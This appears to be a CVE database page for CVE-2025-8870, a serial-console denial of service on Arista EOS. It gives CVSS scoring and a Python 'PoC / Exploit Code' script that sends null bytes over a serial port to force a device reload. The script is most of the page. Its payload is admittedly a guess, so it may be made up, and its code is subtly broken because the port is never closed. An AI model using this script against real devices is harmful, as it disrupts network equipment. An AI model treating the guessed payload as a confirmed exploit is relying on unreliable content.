On affected platforms running Arista EOS, certain serial console input might result in an unexpected reload of the device.153
CVSS Details
CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Arista EOS（具体受影响版本需参考官方安全公告）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-8870 PoC - Arista EOS Serial Console DoS
# This PoC demonstrates how specific serial console input can trigger device reload
# NOTE: This requires physical access to the device's serial console port
import serial
import time
import sys
def exploit_cve_2025_8870(serial_port='/dev/ttyUSB0', baud_rate=9600):
"""
Exploit for CVE-2025-8870: Arista EOS Serial Console Input DoS
Prerequisites:
- Physical access to device serial console port
- Serial cable (USB-to-Serial or standard serial cable)
- Serial terminal software or python serial library
Usage:
python cve_2025_8870_poc.py /dev/ttyUSB0 9600
"""
print(f"[*] Connecting to serial console at {serial_port} ({baud_rate} baud)")
try:
ser = serial.Serial(
port=serial_port,
baudrate=baud_rate,
bytesize=serial.EIGHTBITS,
parity=serial.PARITY_NONE,
stopbits=serial.STOPBITS_ONE,
timeout=5
)
except serial.SerialException as e:
print(f"[-] Failed to open serial port: {e}")
return False
print("[+] Connected to serial console")
print("[*] Waiting for device prompt...")
time.sleep(3)
# Read initial output
response = ser.read(ser.in_waiting).decode('utf-8', errors='ignore')
print(f"[>] Device response: {response[:200]}...")
# Malicious input that triggers the vulnerability
# The specific input pattern may vary depending on EOS version
malicious_input = "\x00" * 100 + "\n" # Null bytes followed by newline
print("[*] Sending malicious input to trigger CVE-2025-8870...")
ser.write(malicious_input.encode('utf-8'))
ser.flush()
print("[*] Waiting for device response...")
time.sleep(5)
# Check if device is still responding
response = ser.read(ser.in_waiting).decode('utf-8', errors='ignore')
if "reload" in response.lower() or "restart" in response.lower():
print("[!] Device appears to be reloading - vulnerability confirmed")
return True
else:
print("[*] Device still operational - trying alternative input patterns")
return False
ser.close()
if __name__ == "__main__":
port = sys.argv[1] if len(sys.argv) > 1 else '/dev/ttyUSB0'
baud = int(sys.argv[2]) if len(sys.argv) > 2 else 9600
exploit_cve_2025_8870(port, baud)